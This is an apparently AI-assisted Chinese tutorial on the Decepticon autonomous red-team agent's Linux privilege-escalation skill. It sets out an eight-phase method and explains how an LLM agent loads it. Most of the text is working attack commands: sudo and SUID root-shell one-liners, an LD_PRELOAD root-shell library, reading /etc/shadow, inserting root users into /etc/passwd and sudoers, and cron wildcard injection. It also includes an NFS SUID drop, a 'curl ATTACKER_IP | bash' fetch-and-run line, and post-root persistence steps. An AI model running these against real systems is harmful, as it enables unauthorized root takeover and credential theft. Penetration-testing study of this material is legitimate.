Decepticon Linux 提权枚举实战指南:系统化分阶段侦查方法论(linux-privesc-enum)
【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载本指南以 Decepticon 仓库中内置的linux-privesc-enum技能SKILL.md为骨架完整讲解一套按优先级排序、带状态追踪的 Linux 提权privilege escalation枚举方法论从态势感知到 sudo/SUID/Capabilities/Cron/可写文件/NFS/内核 CVE 共 8 个阶段并在命中可利用项时立即停止、验证后再进入下一阶段。读完本文你将掌握一套可直接在目标主机上复制执行的命令集、GTFOBins 交叉检索工作流、每类弱点的利用模式以及如何在 Decepticon 的 Agent 体系中通过load_skill()按需加载这份技能实现 LLM 辅助的自主提权侦查。授权声明本技能及本文所有命令仅限在你拥有或获得明确书面授权的系统上运行。未经授权执行任何提权操作均属违法。一、技能定位为什么提权枚举需要有序而非乱试linux-privesc-enum的 frontmatter 明确给出了它的设计初衷name: linux-privesc-enum description: Systematic Linux privilege-escalation enumeration methodology — ordered phases covering sudo, SUID/SGID, capabilities, cron, writable paths, NFS, kernel CVEs, and GTFOBins lookup, grounded in LLM-assisted autonomous privesc research (hackingBuddyGPT/ipa-lab). allowed-tools: Bash Read Write metadata: subdomain: privilege-escalation when_to_use: linux privesc enumeration, GTFOBins, SUID methodology, linux privilege escalation order, capabilities enumeration, cron abuse linux, NFS no_root_squash, kernel suggester, systematic privesc tags: linux, privesc, enumeration, gtfobins, suid, sudo, capabilities, cron, kernel, nfs, methodology mitre_attack: T1548.001, T1053.003, T1068, T1574.006, T1552.001, T1611这份技能的方法论依据来自公开的自主提权研究Happe CitoESEC/FSE 2023hackingBuddyGPT 项目实证结论是带状态追踪的有序分阶段枚举显著优于临时拼凑的命令执行。因此本技能要求严格按阶段优先级推进命中第一个可利用项即停下验证再决定是否进入下一阶段。在 Decepticon 的技能目录体系中该技能位于packages/decepticon/decepticon/skills/standard/post-exploit/linux-privesc-enum/与它同属 post-exploit 域的还有 privilege-escalation/SKILL.mdWindows Linux 提权总纲含 Potato 家族、UAC 绕过、服务滥用等 Windows 向量、credential-access、lateral-movement、c2等技能。linux-privesc-enum专注于 Linux 侧的枚举阶段属于提权总纲在 Linux 场景下的深化子技能。二、Agent 如何使用这份技能Decepticon 的load_skill加载机制在 Decepticon 中技能不是一次性全部塞进上下文的而是采用渐进式披露progressive disclosureAgent 的系统提示中只有技能目录每个技能的 description、触发关键词、MITRE 编号与load_skill()路径真正的完整正文在需要时才加载。这一机制的实现位于 middleware/skills.pySkillsMiddleware.modify_request()把渲染好的技能目录注入系统消息对应DECEPTICON_SKILLS_PROMPT模板目录按metadata.subdomain分组如Privilege Escalation每条技能展示description triggers load_skill 路径MITRE 编号内联显示模板中强调SKILL-FIRST 规则当任务命中技能触发词时必须先load_skill()再行动凭记忆操作而忽略已有专精技能属于严重失败。load_skill工具本身由 tools/skills.py 的build_load_skill_tool()构造其行为要点返回完整技能正文去除 frontmatter且不受普通read_file的行数限制并附带所在目录的references/文件索引路径解析由 tools/skills_registry.py 的resolve_skill()完成解析顺序为精确/skills/...路径匹配 → 尾段 slug 匹配 → 模糊匹配歧义时返回候选列表让 Agent 自行消歧对路径做了安全校验必须以/skills/开头、.md结尾、禁止路径穿越并且/skills/由本地FilesystemBackend进程内提供不走沙箱。因此Agent或人工操作者在本技能生效时可以通过以下任意一种方式加载它load_skill(/skills/standard/post-exploit/linux-privesc-enum/SKILL.md) load_skill(standard/post-exploit/linux-privesc-enum/SKILL.md) load_skill(linux-privesc-enum) # 唯一 slugdocs/skill-schema.md还说明每个SKILL.md必须带 frontmattername、description、metadata.subdomain、metadata.when_to_use、metadata.mitre_attack等CI 通过python -m decepticon.skill_audit校验整棵技能树metadata.subdomain必须是规范值如post-exploitation会被规范化映射为post-exploit。下面进入方法论主体——按优先级顺序执行的 8 个阶段。三、Phase 0 — 态势感知永远最先做在动手之前先确认身份、操作系统与架构后续每个阶段都依赖这份上下文# Identity id; whoami; groups; cat /proc/$$/status | grep -E Uid|Gid|Groups # OS and kernel uname -a cat /etc/os-release 2/dev/null || cat /etc/issue cat /proc/version # Environment env | grep -iE path|home|sudo|pass|token|secret|key echo $PATH # Network context (pivot potential) ip addr show 2/dev/null || ifconfig ss -tlnp 2/dev/null || netstat -tlnp 2/dev/null cat /etc/hosts # Running processes (spot root services) ps auxf 2/dev/null | grep -v \[ | head -40这一阶段的产出物将直接写入后面状态追踪小节的字段USER、KERNEL、网络监听端口判断内网横向/代理潜力、以 root 运行的服务判断是否值得提权后继续攻击面扩展。四、Phase 1 — Sudo收益最高、噪音最低Sudo 配置错误是 CTF 与企业环境中最常见的提权发现。核心命令只有一个sudo -l 2/dev/null但解析输出才是关键。原技能给出了一份 NOPASSWD 场景下的即用 payload 速查表# (root) NOPASSWD: /usr/bin/vim → vim -c :!sh # (root) NOPASSWD: /usr/bin/python3 → python3 -c import os; os.system(/bin/bash) # (root) NOPASSWD: /usr/bin/find → find / -exec /bin/sh \; -quit # (root) NOPASSWD: /usr/bin/less → less /etc/shadow then: !sh # (root) NOPASSWD: /usr/bin/awk → awk BEGIN {system(/bin/sh)} # (root) NOPASSWD: /usr/bin/tar → tar -cf /dev/null /dev/null --checkpoint1 --checkpoint-actionexec/bin/sh # (root) NOPASSWD: /usr/bin/env → env /bin/sh # (root) NOPASSWD: /usr/bin/zip → zip /tmp/x /tmp/x -T --unzip-commandsh -c /bin/sh # (root) NOPASSWD: /usr/bin/man → man man then: !sh # (root) NOPASSWD: /usr/bin/ftp → ftp then: !sh # (root) NOPASSWD: /bin/cp → overwrite /etc/passwd or /etc/sudoers # (root) NOPASSWD: /usr/bin/tee → echo user ALL(ALL) NOPASSWD: ALL | sudo tee /etc/sudoers.d/pwnedGTFOBins 检索工作流对sudo -l输出的每一个被允许的二进制按 sudo 列在 GTFOBins 中检索其提权方法gtfobins.github.io/#binary?sudo只关注标有 sudo 列的函数。注意GTFOBins 是第三方参考站点检索时以目标主机上二进制的确切路径和版本为准。Sudo env_keep 滥用LD_PRELOAD若 sudoers 中存在Defaults env_keep LD_PRELOAD则可以注入共享库获得 root shellcat /tmp/pe.c EOF #include stdio.h #include stdlib.h void __attribute__((constructor)) init() { setuid(0); setgid(0); system(/bin/bash -p); } EOF gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c sudo LD_PRELOAD/tmp/pe.so any_allowed_command从源码结构看Phase 1 之所以排在最前是因为它只需要一条sudo -l就能枚举出全部可执行路径命令量最小、输出最结构化恰好符合该方法论低噪音、高收益优先的排序原则。五、Phase 2 — SUID / SGID 二进制# Find all SUID binaries find / -perm -4000 -type f 2/dev/null | sort # Find SGID binaries find / -perm -2000 -type f 2/dev/null | sort # Quick cross-reference against known GTFOBins SUID list KNOWN_SUID(bash sh dash find python python3 perl ruby php node env vim vi nano nmap curl wget cp mv tee tar zip less more man ftp ssh socat strace tcpdump openssl) for bin in ${KNOWN_SUID[]}; do find / -name $bin -perm -4000 2/dev/null done常见 SUID 利用模式# bash / sh with SUID — direct root shell /bin/bash -p # -p preserves effective UID # find /usr/bin/find / -name x -exec /bin/bash -p \; -quit # python3 /usr/bin/python3 -c import os; os.setuid(0); os.system(/bin/bash) # perl /usr/bin/perl -e use POSIX qw(setuid); POSIX::setuid(0); exec /bin/bash; # vim / vi /usr/bin/vim -c :python3 import os; os.setuid(0); os.execl(/bin/bash,bash,-p) # or simply: /usr/bin/vim -c :!bash -p # nmap ( 5.21 with --interactive) /usr/bin/nmap --interactive # then: !sh # cp — overwrite /etc/passwd openssl passwd -1 -salt salt hackme # get hash echo root2:$1$salt$hash:0:0:root:/root:/bin/bash /tmp/newpasswd /usr/bin/cp /tmp/newpasswd /etc/passwd su root2 # password: hackme # env /usr/bin/env /bin/bash -p # tee — append to sudoers echo www-data ALL(ALL) NOPASSWD: ALL | /usr/bin/tee -a /etc/sudoers要点bash -p的-p用于保留有效 UID避免 bash 主动降权cp/tee类 SUID 的利用本质是把特权写能力转化为对/etc/passwd或/etc/sudoers的篡改与 Phase 5 的可写文件思路一致只是权限来源不同。该向量在 MITRE ATTCK 中对应 T1548.001Abuse Elevation Control Mechanism: Setuid/Setgid。六、Phase 3 — Linux CapabilitiesCapabilities 常被忽视即使加固系统上的基础 linPEAS 扫描也常常漏掉getcap -r / 2/dev/null # High-value capabilities: # cap_setuidep → direct UID 0 # cap_setgidep → direct GID 0 # cap_dac_read_searchep → read any file (shadow, keys) # cap_dac_overrideep → write any file # cap_net_rawep → raw sockets / packet capture # cap_sys_admin → mount, unshare, etc. (container escape) # cap_sys_ptraceep → inject into any processCapability 利用# cap_setuidep on python3 /usr/bin/python3 -c import os; os.setuid(0); os.system(/bin/bash) # cap_setuidep on perl /usr/bin/perl -e use POSIX (setuid); POSIX::setuid(0); exec /bin/bash; # cap_setuidep on ruby /usr/bin/ruby -e Process::Sys.setuid(0); exec /bin/bash # cap_dac_read_search on tar (read /etc/shadow) /usr/bin/tar xf /etc/shadow -I cat /tmp/shadow # alternative with python using ctypes python3 -c import ctypes, sys libc ctypes.CDLL(None) libc.open.restype ctypes.c_int fd libc.open(/etc/shadow, 0) buf ctypes.create_string_buffer(4096) libc.read(fd, buf, 4096) sys.stdout.buffer.write(buf.raw) # cap_net_raw: tcpdump/wireshark without root tcpdump -i any -w /tmp/cap.pcap # Capture credentials from cleartext protocols (FTP, HTTP basic auth, SMTP)cap_dac_read_search的利用本质是绕过文件读取权限检查因此可读/etc/shadow、SSH 私钥等敏感文件其后续处置离线破解或凭据提取衔接 credential-access 技能cap_sys_admin常见于容器场景可用于 mount/unshare 实现容器逃逸对应 MITRE T1611 Escape to Host。七、Phase 4 — Cron 任务与计划任务# System-wide cron cat /etc/crontab ls -la /etc/cron.d/ 2/dev/null ls -la /etc/cron.{hourly,daily,weekly,monthly}/ 2/dev/null # User cron tables crontab -l 2/dev/null ls -la /var/spool/cron/crontabs/ 2/dev/null # Find world-writable scripts called by root cron # Step 1: identify scripts in crontab # Step 2: check permissions for script in $(grep -oP (? )(/[^ ]\.sh) /etc/crontab 2/dev/null); do ls -la $script 2/dev/null done # Monitor for hidden/dynamic cron jobs (no root required) ./pspy64 2/dev/null | tee /tmp/pspy.txt sleep 120; kill %1 grep -iE root|CRON|UID0 /tmp/pspy.txtCron 利用模式# 1. Writable script — inject payload echo cp /bin/bash /tmp/rootbash chmod s /tmp/rootbash /opt/scripts/backup.sh # Wait for cron, then: /tmp/rootbash -p # 2. PATH hijacking in cron # If crontab: PATH/home/user/bin:/usr/bin:/bin and runs: script.sh mkdir -p /home/user/bin cat /home/user/bin/script.sh EOF #!/bin/bash cp /bin/bash /tmp/rootbash chmod s /tmp/rootbash EOF chmod x /home/user/bin/script.sh # 3. Wildcard injection (tar) # cron: tar czf /backup/files.tar.gz -C /target * cd /target echo cp /bin/bash /tmp/rootbash chmod s /tmp/rootbash shell.sh touch -- --checkpoint1 touch -- --checkpoint-actionexecsh shell.sh注意三个模式的前提各不相同可写脚本需要root cron 直接调用该脚本PATH 劫持需要 crontab 里 PATH 包含当前用户可写目录且命令用裸名调用通配符注入则要求 cron 以未加引号的*通配符调用 tar。三者均可在不持有 root 权限的情况下把 root 计划任务转化为 SUID root shell对应 MITRE T1053.003Scheduled Task/Job: Cron。八、Phase 5 — 可写文件与路径注入# World-writable directories (excluding /tmp /proc) find / -writable -type d 2/dev/null | grep -vE ^/(proc|sys|dev|tmp|run) # World-writable files owned by root find / -writable -type f -user root 2/dev/null | grep -vE ^/(proc|sys) # Writable in PATH echo $PATH | tr : \n | xargs -I{} find {} -writable -type f 2/dev/null # /etc/passwd writable? ls -la /etc/passwd [ -w /etc/passwd ] echo WRITABLE /etc/passwd # Exploit: add root user without password check openssl passwd -1 -salt abc hackme echo hacker:$1$abc$hash:0:0:root:/root:/bin/bash /etc/passwd su hacker # /etc/sudoers or /etc/sudoers.d writable? ls -la /etc/sudoers /etc/sudoers.d/ 2/dev/null # Shared object injection — writable .so in library path find / -name *.so -writable 2/dev/null | grep -vE ^/(proc|sys)该阶段的排查要点排除/proc|sys|dev|tmp|run等天然可写位置聚焦root 拥有的可写文件/etc/passwd的利用依赖openssl passwd生成的散列示例中$1$为 MD5-crypt现代系统也可换用$y$yescrypt可写.so与 Phase 1 的 LD_PRELOAD 同属动态链接器劫持MITRE T1574.006但前者是静态的库文件替换后者是运行时环境变量注入。九、Phase 6 — NFS no_root_squash# On target: check exports cat /etc/exports 2/dev/null # Dangerous: /share *(rw,no_root_squash) # On attacker (requires network access to NFS port 2049): showmount -e TARGET_IP mkdir /tmp/nfsmount mount -t nfs TARGET_IP:/share /tmp/nfsmount # As root on attacker: cp /bin/bash /tmp/nfsmount/rootbash chmod s /tmp/nfsmount/rootbash # On target: /share/rootbash -pno_root_squash意味着 NFS 客户端以 root 写入的文件在服务器端保留 UID 0因此攻击者可在自己的机器上以 root 挂载共享目录、写入 SUID bash再回到目标主机以普通用户执行该 SUID 文件。前提是攻击者网络可达 NFS 的 2049 端口且能读取/etc/exports确认导出配置——这正体现了 Phase 0 网络上下文监听端口、主机可达性的前置价值。该向量对应 MITRE T1611Escape to Host与 T1548.001 的组合。十、Phase 7 — 内核与 Polkit CVE最后手段只有在确认不存在更高收益的配置错误之后才进入此阶段因为内核利用存在系统不稳定风险uname -a cat /etc/os-release # linux-exploit-suggester (transfer to target) ./linux-exploit-suggester.sh 2/dev/null | grep -A3 CVE # Key CVEs to check manually (verify exact version before running): # CVE-2021-4034 PwnKit — pkexec/polkit 0.120, all major distros # CVE-2022-0847 DirtyPipe — Linux 5.8–5.16.11, write to read-only files # CVE-2022-2586 nft_object UAF — Ubuntu 18.04–22.04 # CVE-2023-0386 OverlayFS — Ubuntu 22.04 LTS ( 5.15.0-70) # CVE-2023-32233 nf_tables — Linux 6.3.2 # CVE-2024-1086 nf_tables netfilter UAF — Linux 5.14–6.6 (widespread) # PwnKit quick check dpkg -l policykit-1 2/dev/null || rpm -qa polkit 2/dev/null # DirtyPipe quick check (requires kernel 5.8) uname -r | awk -F. {if ($15 $28 $216) print POTENTIAL DirtyPipe}linux-exploit-suggester.sh负责把uname输出的内核版本与已知 CVE 匹配而内联的版本检查片段如 DirtyPipe 的 awk 判断可以在运行任何公开利用之前快速确认内核版本区间降低白跑与崩机风险。所有内核利用执行前必须再次核对目标发行版与补丁级别如 Ubuntu 22.04 的5.15.0-70边界对应 MITRE T1068Exploitation for Privilege Escalation。十一、自动化枚举补充而非替代# linPEAS — comprehensive but noisy curl -sSL https://ATTACKER_IP/linpeas.sh | bash 2/dev/null | tee /tmp/linpeas.txt # Or transfer and run: ./linpeas.sh -a 2/dev/null | tee /tmp/linpeas_$(hostname).txt # linPEAS key sections to review first: # [] Sudo version / sudoers # [] SUID binaries # [] Capabilities # [] Writable cron files # [] NFS exports # [] Interesting writable files # [] Kernel exploits (CVE section) # pspy — process and cron monitoring without root ./pspy64 | tee /tmp/pspy_$(hostname).txt # Run for at least 2–5 minutes to catch minute-granularity cron jobs # linux-smart-enumeration (LSE) — tiered verbosity ./lse.sh -l 1 2/dev/null # Level 1: interesting findings only ./lse.sh -l 2 2/dev/null # Level 2: all checks三个工具的定位差异要分清linPEAS 覆盖面最全但噪音最大应优先阅读上列关键区块pspy 用于捕捉分钟级 cron 与隐藏进程需运行 2–5 分钟以上本技能在 Phase 4 中也会复用LSE 提供分级输出-l 1只看有价值的发现。技能原文明确强调自动化工具是补充不能替代手动分阶段枚举——这与方法论有序阶段 状态追踪的核心主张一致。十二、枚举状态追踪hackingBuddyGPT 方法论落地研究Happe Cito 2023表明持续维护已经试过什么、当前系统画像是什么的运行状态能显著减少冗余命令并提高提权成功率。本技能要求本地维护一份笔记TARGET: hostname USER: current user KERNEL: uname output SUDO: sudo -l output SUID_HITS: list CAPS_HITS: list CRON_HITS: list WRITABLE_HITS: list TRIED: list of failed vectors NEXT: prioritized queue这镜像了 hackingBuddyGPT 的update_state/ 滑动历史模式防止 LLM或人工操作者反复尝试已耗尽exhausted的向量。对 Agent 而言这份状态笔记应当写入手头可见的上下文或本地文件作为每个阶段开始前的决策依据对人工操作者而言TRIED与NEXT两个字段是保持节奏的关键。十三、MITRE ATTCK 映射TechniqueIDVectorAbuse Elevation Control Mechanism: Setuid/SetgidT1548.001SUID/SGID exploitationScheduled Task/Job: CronT1053.003Cron job abuse, wildcard injectionExploitation for Privilege EscalationT1068Kernel CVEs, PwnKit, DirtyPipeHijack Execution Flow: Dynamic Linker HijackingT1574.006LD_PRELOAD, writable .soUnsecured Credentials: Credentials In FilesT1552.001World-readable config/env filesEscape to HostT1611NFS no_root_squash, container escapes这份映射与技能 frontmatter 中的mitre_attack字段一一对应。在 Decepticon 中SkillsMiddleware._format_skills_list()会把这些 ID 内联渲染进技能目录便于 Agent 按 ATTCK 编号做目标匹配与报告对齐。十四、决策流程与提权之后Phase 0: situational awareness | v Phase 1: sudo -l ──► hit? exploit immediately | v Phase 2: SUID/SGID ──► cross-ref GTFOBins ──► hit? exploit | v Phase 3: getcap -r / ──► cap_setuid/dac_read? exploit | v Phase 4: cron (cat /etc/crontab pspy) ──► writable script? inject | v Phase 5: writable /etc/passwd, sudoers, PATH ──► exploit | v Phase 6: NFS exports no_root_squash ──► SUID binary via mount | v Phase 7: kernel CVEs (linux-exploit-suggester) ──► last resort每个阶段的出口都有明确判断hit? exploit immediately——一旦命中即停止枚举先完成验证与利用避免在已拿到 root 的路径上继续浪费命令。提权成功After root之后技能给出了标准的后续动作清单读取/etc/shadow→ 离线破解或 pass-the-hash提取/root/.ssh/下的 SSH 私钥导出/etc/passwd/etc/shadow→ 交给 credential-access 技能处理安装持久化cron、authorized_keys、SUID 后门→ 对应 Persistence 相关技能使用收获的凭据横向移动 → 交给 lateral-movement 技能。这与 privilege-escalation/SKILL.md 中的 Decision Gate 完全衔接提权成功后流向 Credential Access 与 Persistence形成 kill chain 的闭环。总结linux-privesc-enum的价值在于把提权枚举这一高风险、高噪音的环节收敛为可排序、可追踪、可停止的 8 阶段流水线Phase 0 建立画像Phase 1–3 覆盖收益最高的 sudo/SUID/Capabilities 三类配置错误Phase 4–6 处理 cron、可写文件与 NFS 三类系统性弱点Phase 7 才动用内核 CVE 这一最后手段全程辅以 GTFOBins 交叉检索、linPEAS/pspy/LSE 自动化工具与 hackingBuddyGPT 式的状态笔记。在 Decepticon 中它作为 post-exploit 域的标准子技能通过load_skill(linux-privesc-enum)被 Agent 按触发词按需加载与提权总纲、凭据获取、横向移动技能共同构成完整的提权后 kill chain。想要进一步研究的读者可以在仓库中继续阅读技能加载实现middleware/skills.py、tools/skills.py、SKILL.md 编写契约docs/skill-schema.md以及同域的总纲技能 privilege-escalation。赞分享【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载相关推荐claude-red 技能实战offensive-linux-privesc 系统化 Linux 提权方法论claude red 技能实战offensive linux privesc 系统化 Linux 提权方法论 本指南以 claude red 仓库中的 offAI 技能网络安全渗透测试红蓝对抗应用安全Decepticon 云红队技能解析aws-iam-enum 的 AWS IAM 枚举与提权原语审计实战Decepticon 云红队技能解析aws iam enum 的 AWS IAM 枚举与提权原语审计实战 本文以 Decepticon 标准技能库中的 awsLinPEAS 实战指南Linux 权限提升自动化枚举与自定义构建PEASS-ngLinPEAS 实战指南Linux 权限提升自动化枚举与自定义构建PEASS ng LinPEASLinux Privilege Escalation网络安全渗透测试应用安全安全与开源治理创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考